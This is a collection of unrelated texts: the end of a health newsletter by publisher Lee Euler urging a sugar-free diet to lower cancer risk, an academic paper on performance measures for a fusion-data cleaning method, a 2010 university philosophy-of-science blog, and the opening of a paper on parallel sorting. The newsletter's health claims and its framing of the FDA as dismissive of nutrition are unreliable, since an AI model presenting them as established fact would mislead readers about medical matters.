"I have eliminated refined sugar from my diet and eat as little as I possibly can, because I believe that ultimately it's something I can do to decrease my risk of cancer."
This comes from the very heart of America's cancer establishment. If the world's leading enemies of alternative medicine are saying this. . .well, you do the math.
I'll testify to the addiction bit, based on personal experience. Sugar is incredibly hard to give up. My own weakness is pastries, not candy or sodas. But when I was a child, I did drink soda by the gallon. Popcorn or pizza were unthinkable without a soft drink. To this day, I find sweets the most satisfying foods.
But don't look for the FDA or other authorities to get excited about the addiction problem. They don't have a long-term orientation. And warning the public about sugar would be like admitting that nutrition matters — that alternative health experts have been right all along.
Everyone knows alcohol is a toxin because it immediately affects the brain. There's no mistaking it. It's an "acute toxin." When you've had a drink you feel it within minutes, and hopefully you have enough sense not to drive. But fructose is what Dr. Lustig calls a "chronic toxin," and the FDA and other authorities have no interest in those. They don't look at long-term effects.
Most people know that excessive, long-term use of alcohol damages your liver. But that's not the reason it's so heavily regulated. The government is all over alcohol because of what it does to you within 20 minutes, not 20 years. But, says Dr. Lustig, a can of Coke is as bad for your liver as a can of beer in terms of the number of calories that hit your liver, and the stress the beverage puts on the organ. Soda belly, he says, equals beer belly.
The difference between an "acute toxin" and a "chronic toxin" is crucial. If you cut fructose out of your life, I'm confident you WILL see results, but not overnight results. This is a long-term issue. Most of us have been wrecking our health for as long as we've been on the planet — starting with sugary baby formulas and going on from there.
You have to give a sugar-free diet several months at least — and no "little treats" to reward yourself (you know what I'm talking about.) I'd say give it six months or a year. And better yet, combine it with a good supplement plan and a big increase in healthy vegetables (preferably uncooked) and oils.
Kindest regards,
Lee Euler,
Publisher
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---
author:
- 'Ting. Lan,'
- 'Jian. Liu,'
- 'Hong. Qin,'
bibliography:
- 'reference1.bib'
title: 'Preference$-$based performance measures for Time$-$Domain Global Similarity method'
---
Introduction {#sec:intro}
============
To guarantee the availability and reliability of data source, a general-purposed Time$-$Domain Global Similarity (TDGS) method based on machine learning techniques has been developed, which sorts out the incorrect fusion data by classifying the physical similarity between channels [@2017arXiv170504947L]. In the model selection and evaluation process of TDGS method, different performance measures lead to models of various generalization abilities [@karayiannis2013artificial; @kohavi1995study]. Choices of performance measures depend on the required generalization ability of models, or say preferences of tasks. Setting preference$-$based performance measures helps to perform corresponding tasks better. For TDGS method, directly adopting common performance measures, such as precision, recall, F$-$factor, confusion matrix, and Receiver Operating Characteristics (ROC) graphs, could only guarantee the performance for physical similarity between data sequences [@goutte2005probabilistic; @powers2011evaluation; @fawcett2006introduction]. Nevertheless, practical data cleaning tasks have requirements for the correctness of original data sequences. For example, some data cleaning tasks require high recall rate of incorrect data, and some tasks require high precision of correct data. To improve the performance of TDGS method in data cleaning tasks, new performance measures based on the preferences of corresponding tasks should be set.
Each sample of TDGS method is the combination of two data sequences from different channels of MUlti-channel Measurement (MUM) systems. By tagging the sample completely constituted by correct data as physical similarity, and tagging the sample containing at least one incorrect data sequence as physical dissimilarity, the data cleaning problem turns into a binary classification problem about physical similarity between data sequences. When defining the prediction performance of TDGS method, True Positive (TP) refers that predicting results and actual sample tags are both dissimilar. True Negative (TN) refers that predicting results and actual sample tags are both similar. However, when defining the required prediction performance for data cleaning tasks, TP and TN refer to the incorrect and correct sequences which are correctly predicted. To set performance measures according to the preferences of tasks, the mapping relations between performance of TDGS method about physical similarity and correctness of data sequences should be explicit first. However, these mapping relations are complex and influenced by many factors, such as the data structure of samples, performance of models, the rule for judging the correctness of data based on given physical similarity, and the judging order. To obtain the general expression of preference$-$based performance measures for TDGS, the mapping relations between performance of TDGS method about physical similarity and correctness of data sequences are investigated by probability theory in this paper. Based on these mapping relations, we set preference$-$based performance measures for several common data cleaning tasks. By adopting these new performance measures in the model selection and evaluation process, models generated by TDGS method could best meet the preferences of tasks in probability.
The mapping relations between performance of TDGS method about physical similarity and correctness of data sequences are decided by the rules for judging the correctness of data based on given physical similarity. Here we adopt an absolute algorithm, i.e., by scanning through all samples tagged with similarity first, tag the sequences contained in the similar samples as correct data, and tag the other data as incorrect data. Based on this judging rule, the mapping relations between performance about physical similarity and correctness of data sequences can be analyzed by probability theory. In view that every prediction about physical similarity is independent of each other, the probability of judging the correctness of data is the product of the probabilities of all predictions employed in the judging process [@durrett2010probability]. For example, according to the adopted judging rule, a correct data sequence $\ensuremath{S_0}$ would be predicted as incorrect if all samples containing $\ensuremath{S_0}$ are predicted as dissimilarity. Therefore, the probability of judging a correct data sequence as incorrect can be decided according to the number of similar samples containing $\ensuremath{S_0}$, the probability of predicting similar samples as dissimilarity, the number of dissimilar samples containing $\ensuremath{S_0}$, and the probability of predicting dissimilar samples as dissimilarity. Based on the mapping relations between performance of TDGS method about physical similarity and the correctness of data, performance measures for several common data cleaning tasks are set in this paper. Meanwhile, the correlative relations between these preference$-$based performance measures and performance parameters about physical similarity are analyzed. When preference-based performance measures are strong positive correlative with certain parameter, these performance measures could be simplified.
The rest parts of this paper are organized as follows. In section \[sec:2\], the mapping relations between performance of TDGS method about physical similarity and the correctness of data sequences are studied by probability theory. In section \[sec:3\], performance measures for several common data cleaning tasks are investigated. Cases when these performance measures could be simplified are introduced. In section \[sec:4\], further optimizations of setting preference-based performance measures for TDGS method are discussed.
Mapping relations between performance of TDGS method about physical similarity and correctness of data sequences {#sec:2}
================================================================================================================
In this section, the correctness of data sequences based on performance of TDGS method about physical similarity is analyzed by probability theory. Corresponding mapping relations are explicitly exhibited.
MUM system measures related yet distinct aspects of the same observed object with multiple independent measuring channels. Interferometer systems [@kawahata1999far], polarimeter systems [@donne2004poloidal; @brower2001multichannel; @liu2014faraday; @liu2016internal; @zou2016optical], and electron cyclotron emission imaging systems [@luo2014quasi] are all typical MUM systems in Magnetic Confinement Fusion (MCF) devices. For practical purpose of data cleaning in MCF devices, the samples of a validation set are generated from diagnostic data of one discharge. For an N$-$channel MUM system, suppose $\ensuremath{n}$ and are ${Q_1} = \left. {n} \middle/ {N} \right.$ the number and proportion of correct data sequences respectively. By combining two data sequences from different channels of MUM system as one sample, $C_N^2$ samples can be generated. Among them, $C_n^2$ samples are similar, and $C_N^2 - C_n^2$ samples are dissimilar. The prediction performance of TDGS method about physical similarity can be divided as four types. ${k_1}$ and ${k_2}$ are the probabilities of correctly and incorrectly predicting similar samples respectively. ${k_3}$ and ${k_4}$ are the probabilities of correctly and incorrectly predicting dissimilar samples respectively. The total probability of all predictions equals 1, i.e., $\sum\limits_{i = 1}^4 {{k_i}} = 1$. The recall rate of similar samples ${Q_2}$ and the recall rate of dissimilar samples ${Q_3}$ are typical performance parameters about physical similarity, which are defined as the fraction of correctly predicted samples over total samples, namely
\[eq:1\] $$\begin{aligned}
\label{eq:1:1}
\ensuremath{{Q_2} &= \frac{{{k_1}}}{{{k_1} + {k_2}}},}
\\
\label{eq:1:2}
\ensuremath{{Q_3} &= \frac{{{k_3}}}{{{k_3} + {k_4}}}.}\end{aligned}$$
The proportions of similar and dissimilar samples are $\left. {C_n^2} \middle/ {C_N^2} \right.$ and $\left. {(C_N^2-C_n^2)} \middle/ {C_N^2} \right.$ respectively. Total probability of correct and incorrect predictions of certain samples is the proportion of corresponding class, i.e.,
\[eq:2\] $$\begin{aligned}
\label{eq:2:1}
\ensuremath{{k_1} + {k_2} &=\left. {C_n^2} \middle/ {C_N^2} \right.,}
\\
\label{eq:2:2}
\ensuremath{{k_3} + {k_4} &= \left. {(C_N^2-C_n^2)} \middle/ {C_N^2} \right..}\end{aligned}$$
Based on the given performance of TDGS method about physical similarity, the correctness of data sequences could be analyzed by probability theory. The probability of incorrectly predicting a correct data sequence $\ensuremath{S_0}$ is the union set of incorrectly predicting all similar samples containing $\ensuremath{S_0}$ as dissimilarity, and correctly predicting all dissimilar samples containing $\ensuremath{S_0}$. For the validation set from one discharge, the amounts of similar and dissimilar samples containing $\ensuremath{S_0}$ are $\ensuremath{n-1}$ and $\ensuremath{N-n}$ respectively. The probability of predicting similar samples as dissimilarity is $1 - {Q_2}$. And the probability of correctly predicting dissimilar samples is ${Q_3}$. Considering the proportion of correct data is ${Q_1}$, the probability of incorrectly predicting correct data $P(R \rightarrow W)$ equals ${Q_1}{(1 - {Q_2})^{n - 1}}{({Q_3})^{N - n}}$. Since the total probability of correct and incorrect predictions of correct data sequences is ${Q_1}$, the probability of correctly predicting correct data $P(R \to R)$ equals ${Q_1} - P(R \to W) = {Q_1}[1{\rm{ - }}{(1 - {Q_2})^{n - 1}}{({Q_3})^{N - n}}]$. The probability of correctly predicting incorrect data sequence $\ensuremath{S_1}$ is the union set of predicting all dissimilar samples containing $\ensuremath{S_1}$ as dissimilarity. In view that the amount of dissimilar samples containing $\ensuremath{S_1}$ is $\ensuremath{N-1}$ and the proportion of incorrect data sequences is $1 - {Q_1}$, the probability of correctly predicting incorrect data $P(W \to W)$ equals $(1 - {Q_1}){({Q_3})^{N - 1}}$. Since the proportion of incorrect data sequences is $1 - {Q_1}$, the probability of incorrectly predicting incorrect data $P(W \to R)$ equals $(1 - {Q_1})[1 - {({Q_3})^{N - 1}}]$.
Preference$-$based performance measures for TDGS method in several common data cleaning tasks {#sec:3}
=============================================================================================
Based on the mapping relations between performance of TDGS method about physical similarity and the correctness of data sequences, performance measures for several common data cleaning tasks are set in this section.
Different data cleaning tasks have various preferences. Some tasks require high recall rate of incorrect data. Then the performance measure can be set as $$\label{eq:3}
\begin{split}
\ensuremath{{E_1} = P(W \to W)./[P(W \to W) + P(W \to R)]{\rm{ = }}{({Q_3})^{N - 1}}.}
\end{split}$$
Some tasks require high precision of incorrect data. Then the performance measure can be set as $$\label{eq:4}
\begin{split}
\ensuremath{{E_2} = P(W \to W)./[P(W \to W) + P(R \to W)] = \frac{{1 - {Q_1}}}{{1 - {Q_1} + {Q_1}{{(1{\rm{ - }}{Q_2})}^{n - 1}}{{({Q_3})}^{1 - n}}}}.}
\end{split}$$
Some tasks require high recall rate of correct data. Then the performance measure can be set as $$\label{eq:5}
\begin{split}
\ensuremath{{E_3} = P(R \to R)./[P(R \to R) + P(R \to W){\rm{ = }}1{\rm{ - }}{(1{\rm{ - }}{Q_2})^{n - 1}}{({Q_3})^{N - n}}.}
\end{split}$$
Some tasks require high precision of correct data. Then the performance measure can be set as $$\label{eq:6}
\begin{split}
\ensuremath{{E_4} = P(R \to R)./[P(R \to R) + P(W \to R)] = \frac{{{Q_1}[1{\rm{ - }}{{(1{\rm{ - }}{Q_2})}^{n - 1}}{{({Q_3})}^{N - n}}]}}{{{Q_1}[1{\rm{ - }}{{(1{\rm{ - }}{Q_2})}^{n - 1}}{{({Q_3})}^{N - n}}]{\rm{ + (1 - }}{Q_1}{\rm{)}}[1 - {{({Q_3})}^{^{N - 1}}}]}}.}
\end{split}$$
The change relations between performance parameters about physical similarity and preference-based performance measures are different in various cases. In the case shown in figure \[fig:1\], the recall of incorrect data ${E_1}$ and precision of correct data ${E_4}$ are positive correlative with the recall rate of dissimilar samples ${Q_3}$. In the model selection and evaluation process of this case, the recall of incorrect data and precision of correct data could also be enhanced by just improving the recall rate of dissimilar samples. Then the performance measures ${E_1}$ and ${E_4}$ can be replaced with the more simplified parameter ${Q_3}$. When the channel number of MUM systems is bigger ${(N=50)}$, or the proportion of incorrect data is higher ${(Q_1=0.19)}$, this simplification is more reasonable for the correlative relations between ${Q_3}$ and performance measures are stronger.
![\[fig:1\] The change relations between performance parameters about physical similarity and preference-based performance measures are plotted. ${Q_2}$ denotes recall rate of similar samples. ${Q_3}$ denotes recall rate of dissimilar samples. ${E_1}$ denotes recall of incorrect data. ${E_2}$ denotes precision of incorrect data. ${E_3}$ denotes recall of correct data. ${E_4}$ denotes precision of correct data.](fig/Fig1_new.eps)
Summary {#sec:4}
=======
Data cleaning tasks could be performed better by setting preference-based performance measures. In this paper, we provide the mapping relations between performance of TDGS method about physical similarity and correctness of data sequences by probability theory. Based on these mapping relations, preference-based performance measures for several common data cleaning tasks are set for TDGS method. Meanwhile, the correlative relations between these new performance measures and performance parameters are analyzed.
By setting preference$-$based performance measures, the preferences of data cleaning tasks could be best meet by TDGS method in probability. When these new performance measures are strong positive correlative with certain parameter, preference-based performance measures could be simplified. Next step, we would further improve the performance of TDGS method by adopting different rules for judging the correctness of data based on given physical similarity. The rule adopted in this paper is an absolute judging rule. Next step, we could adopt a non-absolute judging rule. For example, the sequence which is dissimilar from $90\%$ of the other sequences can be tagged as incorrect data. The degree parameter introduced by the judging rule changes the mapping relations between performance of TDGS method about physical similarity and correctness of data sequences. In some cases, proper setting of the degree parameter would improve the data cleaning performance of TDGS method.
This research is supported by Key Research Program of Frontier Sciences CAS (QYZDB-SSW-SYS004), National Natural Science Foundation of China (NSFC-11575185,11575186), National Magnetic Confinement Fusion Energy Research Project (2015GB111003,2014GB124005), JSPS-NRF-NSFC A3 Foresight Program (NSFC-11261140328),and the GeoAlgorithmic Plasma Simulator (GAPS) Project.
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Monday, November 22, 2010
SCFS Visiting Fellow Ken Wharton is giving a 'current projects' talk at USyd today (Nov 22) at 1pm in the Philosophy Common Room."The ongoing efforts to interpret quantum mechanics typically ignore the Feynman path-integral approach, despite the fact that this mathematics most naturally extends to relativistic quantum field theory. While literally interpreting the path-integral mathematics seems untenable, it is notable that this mathematics implies strong symmetries between experiments that are typically assumed to be unrelated. If one adopts the principle that any underlying ontology must respect these same symmetries (the "action duality"), it turns out that quantum interpretations are strongly constrained. Furthermore, one can use this principle to construct new interpretations by considering pairs of experiments related by this symmetry, particularly cases where interpreting one experiment appears straightforward and the other problematic. The results generally support time-symmetric and retrocausal interpretations. (Joint work with Huw Price, David Miller, and Peter Evans.)"
Monday, September 6, 2010
LA METTRIE: MAN A MACHINEDr Charles Wolfe, History and Philosophy of Science, Faculty of Science
KEY THINKERS SERIES – 15TH SEPTEMBER 2010
Julien Offray de La Mettrie, a medical doctor and philosopher was born in Saint-Malo (Brittany) in 1709, and died in 1751 in Berlin, where he was an intellectual-in-residence at Frederick II’s court ... of indigestion, food poisoning, or acute peritonitis after having consumed a whole pheasant pasty with truffles. He had been forced to flee from France and then even from Holland because of his writings, and was one of the most scandalous figures of the Enlightenment. I will focus especially on his best-known work, L’Homme-Machine or Man a Machine (1748), one of the greatest examples of materialist philosophy ever written - in which mind and body are explained as belonging to one material substance, which medical and physiological knowledge sheds light on. How is it that a philosopher admired today by all manner of ‘brain scientists’ was also the hero of the Marquis de Sade? Addressing this sort of question gets us to the heart of Enlightenment materialism.
Saturday, September 4, 2010
Evolution is an essential theory for understanding the living world–including our own species. With understanding comes the capacity for improvement. This workshop examines three fields in which the understanding offered by contemporary evolutionary theory may offer practical guidance: conservation, public health, and the urban environment.
The workshop will be led by evolutionary biologist Prof. David Sloan Wilson, SUNY Distinguished Professor of Biology and Anthropology at Binghamton University. Prof. Wilson’s recent books include: Darwin’s Cathedral: Evolution, Religion, and the Nature of Society and Evolution for Everyone: How Darwin's Theory Can Change the Way We Think About Our Lives
Attendance at the workshop is limited to 50, to ensure that all participants are able to participate in a meaningful way in our discussions. Amongst the key questions to be addressed are:• Is evolutionary theory genuinely mature enough to guide practical policy formulation on any or all of these three topics?• What are the steps that evolutionary scientists can take to get their ideas onto the policy agenda?• What are the potential pitfalls facing evolutionary scientists as they begin to take their ideas out of the academy and into the policy arena?
To lead the discussion alongside Prof Wilson we have four distinguished Australasian scientists, each with expertise on one of our focal topics:• Rick Shine, Professor of Evolutionary Biology and ARC Federation Fellow, University of Sydney• Sir Peter Gluckman, Head, Centre for Human Evolution, Adaptation and Disease, Liggins Institute, University of Auckland and New Zealand Prime Minister’s Chief Science Advisor• Stephen Simpson, Professor of Biology and ARC Laureate Fellow, University of Sydney• Roland Fletcher, Professor of Theoretical and World Archaeology, University of Sydney
What would the consequences be, if rather than substances and structures, we took events and processes to be the primary entities that make up the universe? And what if instead of the traditional mechanistic model we used the concept of the organism, as the key metaphor in our understanding of the world? These are two central questions that Alfred North Whitehead (1861-1947) wrestled with in his later years. Whitehead of course, was famous for his early collaboration with Bertrand Russell on one of the most important works of mathematics in history—the three volumes of Principia Mathematica. While the two equally shared the work of this heroic attempt to establish a logical foundation for mathematics, it is not commonly known that there had been a fourth volume planned, which Whitehead alone began working on. But what became of the unfinished volume and why was it important for his philosophical development?
Tuesday, August 17, 2010
Abstract: Extreme risks must be evaluated in such contexts as quarantine, terrorism and banking. Unfortunately, an extreme risk is one that hasn't happened yet, so directly relevant data is non-existent. The talk surveys what is done in the Basel II compliance regime in banking and in Australian quarantine risk analysis, where there are formal processes for using small data sets to keep expert opinion honest. The usefulness of Extreme Value Theory is considered. Extreme risks raise in acute form the "reference class problem", of how to decide what is the right class in which to take statistics to bear on an individual case. The views of philosophers and legal theorists on the reference class problem are canvassed.
Thursday, July 15, 2010
What do we learn when we revisit scientists’ past worlds? How might one write a life as famous as Charles Darwin’s? Why is biography the best-selling genre of all? Pre-eminent Darwin scholar and Harvard Professor of the History of Science Janet Browne, talks with Sydney’s prizewinning historian Professor Iain McCalman, about the challenges and delights of the biographical genre for historians. In conversation with Alison Bashford, this is an evening that probes the intellectual life of these keen observers and interpreters of the world of Victorian science
Tuesday, June 15, 2010
The program for this workshop later in June is very interesting and worth a look. One theme is the relations between HPS and science policy. This is the fifth in a series of Workshops on 'integrated history and philosophy of science' involving a good part of the UK's HPS community.
Thursday, May 13, 2010
The video of Elliott Sober's lecture to a packed room on Darwin, Evolution, and Intelligent Design is now available on ABC TV's website, and is embedded below. An audio podcast is on the linked website, and also from the University of Sydney's podcast page.
Monday, May 3, 2010
Recent Visiting Fellow Professor Elliott Sober was a guest on ABC Radio National's program, The Philosopher's Zone. Interviewed by Dr Alan Saunders, Professor Sober discussed intelligent design and Darwin. The podcast and transcript may be found here.
Friday, April 30, 2010
The Sydney contingent is now all back home, having been variously delayed by the Icelandic ash cloud. The third Sydney-Tilburg conference was extremely successful - the most exciting so far, at least for me. The conference topic was 'The Future of Philosophy of Science' and on the last day of the conference we held an open discussion of this issue for all conference participants. Here are some of the themes from that discussion:
There was general agreement that the increasing specialisation of philosophy of science (hereafter PoS) is a problem. This is in part a consequence of the increased attention to the actual science in recent PoS. Hence work in philosophy of biology, or of economics, now assumes the kind of detailed knowledge of the actual science that philosophy of physics always has. But now, of course, we do not now all share the common background in one science (selected areas of physics) that earlier philosophers of science could draw on.
Jan Sprenger suggested that statistics and probability could act as unifying themes for PoS, given their importance right across the sciences, and their place at the heart of current models of confirmation, explanation, etc in PoS itself. But some participants argued that these formalisms were simply not that important in the sciences with which those participants were concerned. For example, although statistics are very important in bioinformatics, it is unclear that this is an important focus for work in the philosophy of the molecular biosciences, and recent work on that field has certainly not focused on issues in statistical inference.
Michael Friedmann and others pointed to the increasing importance of HOPOS (History of Philosophy of Science) as a part of the discipline of PoS. There was general agreement that this is the case, and, indeed, there were a remarkable number of papers looking at the ideas of Carnap at this conference. I myself wondered if PoS was not starting to work as many areas of philosophy traditionally have, analysing core problems through reading and interpreting earlier philosopher's work on those problems. Carnap in particular might play the role in future PoS that Kant or Hume do to general epistemology. The HOPOS approach has obvious potential to act as a unifying theme for the discipline.
Friedmann also pointed to the ambitions of early 20th century philosophers of science to do much more than offer a specialist philosophy of science, and in fact to reshape the whole of philosophy into a new, 'scientific philosophy'. Philosophy of science would thus be a central topic in philosophy because science matters to philosophy - to all of philosophy.
Another recent 'movement' within PoS had been so-called 'integrated History and Philosophy of Science' or iHPS. As I understand it, the idea is to repair the near-divorce between recent work in history of science and recent work in philosophy of science by encouraging philosophers of science to make historical research on the sciences they study an integral part of their own work. This sort of approach was not much in evidence at the actual meeting, so I asked for a straw poll of people in the room who saw historical research as an integral part of their own work in PoS. About half of the participants thought this was true of themselves.
One more strand of discussion concerned the role - and obligation - of PoS to interpret science for broader audiences. In the conference itself Massimo Pigliucci had outlined a role for PoS as 'science criticism', and there was some support in the room for the idea that PoS should seek to critically expound the significance of science to wider audiences.
Monday, April 19, 2010
The Centre for Values, Ethics and Law in Medicine at University of Sydney is currently looking for a 0.6 FTE senior research fellow to work on a Clinical Ethics project for 2 years. The position would be suitable for someone with extensive experience in qualitative research and project management, from a discipline such as bioethics, health social sciences, medical humanities or other related areas. Details are available here.
Thursday, April 15, 2010
Current University of Sydney International Visiting Fellow, Hans Reichenbach Professor Elliott Sober (University of Wisconsin), will be giving a Sydney Ideas Open lecture on "Darwin and Intelligent Design," on Thursday, 22 April. For further information, click here.
Venue: Sydney Law School foyer, Eastern Avenue, Camperdown Campus.Time: Thursdays 6.00pm to 7.00pmFormat: 40 minute lecture followed by 20 minute Q & ARecording: Audio podcasts will be available three days after the lectureCost: This is a free series, and all are welcome. No RSVP or registration is needed, please just turn up.
Kristie Miller (USyd) will be presenting at the University of Wollongong Philosophy Research Seminar series next Tuesday. All are welcome to attend.
Title: "Motion, laws and plenitude: Are there objects to which the laws of nature do not apply?"
When & where: April 20th, 5:30pm in room 19.1003
Abstract: It is a natural to assume that the domain of the concrete objects is coextensive with the domain of the objects to which the natural laws apply, and therefore that if we can find any concrete object that is at rest and does not stay at rest unless acted on by a net force, then we have found something that violates the law of inertia. Recently, however, this assumption has been challenged. The locus of this challenge has come from a number of metaphysicians who sign up for what I will call a plenitudinous ontology. Given a plenitudinous ontology, a great number of entities seem to be ones that violate one or other law of nature.Friends of plenitude have responded by conceding that the entities in question do violate the laws in question, and suggesting that the correct response is to distinguish two different kinds of concrete entity: the ones to which the laws apply, and the ones to which they do not. In this paper I advocate an alternative strategy according to which when the laws are properly understood, no concrete entity in the plenitudinous ontology ever violates those laws.
Congratulations to Charles T. Wolfe and Ofer Gal on the publication of their edited book, The Body as Object and Instrument of Knowledge: Embodied Empiricism in Early Modern Science, available through Springer.
Tuesday, March 16, 2010
The Philosophy Department, Otago University is hosting a one day workshop on "Composition, constitution, and mereology" to take place on Saturday, 5 June 2010. Invited speakers include former SCFS visiting fellow Patrick Greenough and SCFS researcher Kristie Miller. Abstracts can be sent to josh.parson@otago.ac.nz by 16 April.
Abstract: The credence you assign to a proposition is an important part of your epistemic attitude toward that proposition. But it's not the whole story. Another important factor is the stability of your credence: roughly the extent to which you expect it to change as you acquire new evidence. Expert probability functions -- be they the credences of your trusted weather forecaster, the credences of your future self or the objective chances -- serve to guide your credences to particular values. But they also serve to stabilize your credences, relative to particular types of evidence. By exploring this feature, I think we can better understand the relationship between credence and expert opinion, including the relationship between credence and objective chance.
Tuesday, March 9, 2010
Unlike descriptive sciences that are principally concerned with discovering, describing, and explaining phenomena, environmental sciences pursue more immediate goals, such as providing scientific bases for the preservation of biodiversity and natural resources. What distinguishes sciences of this kind from descriptive science is their emphasis on achieving non-epistemic objectives humans consider valuable. They can be labeled ‘teleological’ for this reason. Recent analyses have suggested teleological sciences are value-laden in a strong sense: attempts to demarcate the function of facts and values within them are misguided and obscure rather than illuminate their structure. In fact, the claim that values inextricably permeate teleological sciences has recently been taken to challenge the view that a “gap” exists between facts and values, the gap widely believed to explain why, for example, determining what agents should do is distinct from studying what they actually do and why they do it. These claims are overstated. Teleological sciences are better conceptualized as having a conditional form where stipulated goals reflecting ethical values set much of their general structure and methodologies, but in which this influence can be demarcated from the factual status of claims made within them. The conditional nature of teleological sciences makes this demarcation possible, and helps clarify the function of values in science in general.
Wednesday, February 24, 2010
Mark Colyvan, SCFS Director, was recently on Alan Saunder's excellent ABC radio program and podcast, The Philosopher's Zone. Allan is an advisor to the SCFS, and Kurt Gödel was the topic of their conversation. The podcast (and the transcript) is available for download from The Philosopher's Zone website.
Monday, January 25, 2010
SCFS Researcher in History and Philosophy of Medicine, Hans Pols, will be giving a lecture on "Notes from Batavia, the European's Graveyard: the Debate on Acclimatisation in the Dutch East Indies, 1820-1860," this Saturday, 30 Jan, at 2pm, to the Australian and New Zealand Society of the History of Medicine.
Soon after the conquest of Batavia in 1619, the city was nicknamed the “graveyard of Europeans” because of the unusually high mortality rate of soldiers and merchants there. Consequently, the Dutch East Indies company (VOC) maintained as few soldiers and officials there as possible. After the demise of the VOC in 1799, Batavia developed into a city of sorts—and the issue whether the Indies were suitable for European habitation came to dominate medical and civil discussions. Willem Bosch, the founder of the Batavia medical school in 1851 and chief of the Indies Civil Health Service, had calculated that European civilians who moved to the Indies sacrificed 60% of their life expectancy, while for soldiers it was a staggering 80%. A number of local physicians protested against these views by arguing that Europeans could maintain their health by following a set of sensible rules. They believed that special attention should be given to individuals who had arrived recently, because they would be unusually vulnerable to disease during the period of acclimatisation.
In this paper I will analyse the often acerbic discussions between the advocates of these different perspectives, which was conducted in the first volumes of the first magazine that appeared in the Indies. Participants in this debate were the aforementioned Willem Bosch; the German explorer Franz Junghuhn, who charted volcanos and produced the first map of Java; the irascible German physician Carl Waitz, who later advocated the water-cure as a panacea; Cornelis Swaving, a physician known for his impenetrable prose; and Pieter Bleeker, a physician who later became famous as an ichthyologist.
Thursday, January 21, 2010
SCFS Honorary associate Zach Weber, who is about to take up a position at the University of Melbourne, has recently published an article: "Transfinite Numbers in Paraconsistent Set Theory," in Review of Symbolic Logic.
Saturday, January 9, 2010
The Department of Philosophy and the Tilburg Center for Logic and Philosophy of Science (a partner of the SCFS) has recently advertised a PhD position. The advertisement reads:
The Department of Philosophy and the Tilburg Center for Logic and Philosophy of Science (TiLPS) invite applications for a three-year full-time PhD position, commencing September 1, 2010. The successful candidate is expected to work on a topic from the philosophy of science (including general philosophy of science, formal philosophy of science, philosophy of economics, and philosophy of psychology) and complete a PhD thesis within three years. The salary for a full-time employment agreement increases from 2.042 Euro gross a month in the first year to 2.492 Euro gross a month in the last year. The position is open to candidates with a master’s degree or equivalent in philosophy and an interest in working in a very active international and interdisciplinary research environment. Candidates are invited to submit a letter of interest, a curriculum vitae, a research proposal of 1000 to 2000 words, certificates, a transcript of courses taken (including grades), and two letters of recommendation. Please send your application package to PhD Position Search Committee, c/o P & O, Department of Philosophy, Tilburg University, Warandelaan 2, P.O. 90153, 5000 LE Tilburg, The Netherlands, or email to solliciterenfdl@uvt.nl <mailto:solliciterenfdl@uvt.nl> . The deadline for applications is April 15, 2010. Please mention the vacancy number 500.10.01 in your letter. Informal enquiries may be directed to Professor Stephan Hartmann (email: S.Hartmann “at” uvt.nl <mailto:S.Hartmann@uvt.nl> ).
There's titles and a preliminary timetable here. More information will be added to the website nearer the date.
Propositions play a foundational role in many areas of philosophy, but what are they? Is there a single class of things that serve as the objects of belief, the bearers of truth, and the meanings of utterances? How do our utterances express propositions? Under what conditions do two speakers say the same thing, and what (if anything) does this tell us about the nature of propositions?
This workshop, consisting of 7 talks by some of Australia's best philosophers, will address these questions and more. It will cover topics in philosophy of language, perception, and metaphysics.
Registration is free but places are limited, so please email Mark Jago (mark.jago at gmail.com) if you'd like to attend. Coffee, biscuits and cake will be provided. A picnic lunch is available at a small fee (to cover costs) for those who RSVP.
Organized by Rachael Briggs (Centre for Time, University of Sydney), Albert Atkin (Macquarie) and Mark Jago (Macquarie).
Sunday, January 3, 2010
Catching up on journals after Xmas reveals that some associates of the SCFS have been afforded the oxygen of publicity.
Idan Ben Barak's book The Invisible Kingdom (Australian edition Small Wonders) is recommended in the December 11th issue of Science (p.1485).
Karola Stotz and I were captured by the paparazzi at a human nature workshop and the picture appeared in the December 17th edition of Nature (p.841). But we are only part of the entourage - the caption says 'John Dupre and his team'. The Nature article is an interesting discussion of the results of UKs 21 million pound investment in 'genomics in society' research, including an extended discussion of the value of philosophy in that context.
About Foundations of Science
With the Sydney Centre for the Foundations of Science, the University of Sydney is a major locus of research into the nature and history of science. This blog is a simple way for the Sydney research community to keep in touch with each other. |
---
abstract: |
The aim of the paper is to introduce general techniques in order to optimize the parallel execution time of sorting on a distributed architectures with processors of various speeds. Such an application requires a partitioning step. For uniformly related processors (processors speeds are related by a constant factor), we develop a constant time technique for mastering processor load and execution time in an heterogeneous environment and also a technique to deal with unknown cost functions. For non uniformly related processors, we use a technique based on dynamic programming. Most of the time, the solutions are in ${\cal O}(p)$ ($p$ is the number of processors), independent of the problem size $n$. Consequently, there is a small overhead regarding the problem we deal with but it is inherently limited by the knowing of time complexity of the portion of code following the partitioning.\
[**Keywords:**]{} parallel in-core sorting, heterogeneous computing, complexity of parallel algorithms, data distribution.
author:
- 'Christophe Cérin, Jean-Christophe Dubacq'
- 'Jean-Louis Roch'
bibliography:
- 'these.bib'
title: 'Methods for Partitioning Data to Improve Parallel Execution Time for Sorting on Heterogeneous Clusters[^1]'
---
The advent of parallel processing, in particular in the context of [*cluster computing*]{} is of particular interest with the available technology. A special class of [*non homogeneous clusters*]{} is under concern in the paper. We mean clusters whose global performances are correlated by a multiplicative factor. We depict a cluster by the mean of a vector set by the relative speeds of each processor.
In this paper we develop general techniques in order to control the execution time and the load balancing of each node for applications running in such environment. What is important over the application we consider here, is the meta-partitioning schema which is the key of success. All the approaches we develop can be considered as static methods: we predetermine the size of data that we have to exchange between processors in order to guarantee that all the processors end at the same time before we start the execution. So, this work can be considered in the domain of placement of tasks in an heterogeneous environment.
Many works have been done in data partitioning on heterogeneous platforms, among them Lastovetsky’s and Reddy’s work [@ipdps04] that introduces a scheme for data partitioning when memory hierarchies from one CPU to another are different. There, the heterogeneity notion is related to the heterogeneity of the memory structure. Under the model, the speed of each processor is represented by a function of the size of the problem. The authors solve the problem of partitioning $n$ elements over $p$ heterogeneous processors in ${\cal O}(p^2\times
\log_2 n)$ time complexity.
Drozdowski and Lawenda in [@europar2005] propose two algorithms that gear the load chunk sizes to different communication and computation speeds of applications under the principle of divisible loads (computations which can be divided into parts of arbitrary sizes; for instance painting with black pixels a whole image). The problem is formalized as a linear problem solved either by branch and bound technique or a genetic algorithm. Despite the fact that the architecture is large enough (authors consider heterogeneous CPU and heterogeneous links), we can not apply it here because our problem cannot be expressed under the framework of ’divisible loads’: in our case, we need to merge sorted chunks after the partitioning step and the cost is not a linear one…thus our new technique.
